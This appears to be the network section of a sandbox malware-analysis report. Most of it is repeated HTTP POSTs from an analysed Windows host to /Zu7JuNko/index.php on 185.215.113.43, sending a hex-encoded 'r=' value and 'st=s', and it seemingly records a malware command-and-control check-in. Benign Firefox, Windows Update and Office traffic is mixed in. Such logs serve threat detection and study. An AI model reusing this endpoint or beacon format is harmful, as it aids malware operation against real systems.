Nov 23, 2024 03:27:25.985714912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	50288	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:27.617120028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:29.001857042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	50289	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:30.734682083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:27:32.178620100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	50290	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:33.811650038 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:35.193734884 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	50291	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:36.949949026 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:27:38.341176033 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	50292	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:39.968468904 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:41.331899881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50293	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:43.065584898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:27:44.452632904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50296	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:45.578752995 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:27:46.757525921 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 08:50:37 GMT Age: 63429 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:27:56.782053947 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:06.980526924 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:10.083903074 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:28:10.417046070 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 08:50:37 GMT Age: 63453 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:28:20.478374958 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:30.690435886 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:40.886365891 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:51.081974983 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:29:01.278716087 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:29:11.475984097 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50297	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:46.084459066 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:47.420970917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50298	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:46.882283926 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:27:48.059662104 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73885 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:27:58.110430002 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:08.306931019 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:10.419260025 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 03:28:10.752182961 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 22 Nov 2024 05:56:22 GMT Age: 73908 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 03:28:20.797069073 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:31.091933966 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:41.307632923 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:28:51.504386902 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:29:01.701323032 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:29:11.898377895 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50299	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:49.160895109 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:27:50.501616955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	50300	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:52.139183044 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:53.567070007 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50301	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:55.316478014 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:27:56.692822933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50302	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:58.334424019 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:59.724426985 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50303	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:28:01.474927902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:28:02.897134066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50304	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:28:04.533313990 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:28:05.868067980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50305	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:28:07.606408119 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:20:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uMudn9COvFFTZ92&MD=6mTV+hOs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 02:20:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: fb0de42b-2a08-4ebb-b39e-4513f6b3401e MS-RequestId: bf3fb107-88e1-4c3a-84b7-dd97139c1244 MS-CV: JkSW3ZN/YUaOLNpS.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 02:20:20 GMT Connection: close Content-Length: 24490
2024-11-23 02:20:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 02:20:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:20:59 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:00 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:20:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: c1af2548-001e-00ad-39e4-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022059Z-178bfbc474bnwsh4hC1NYC2ubs00000003x000000000avya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:00 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
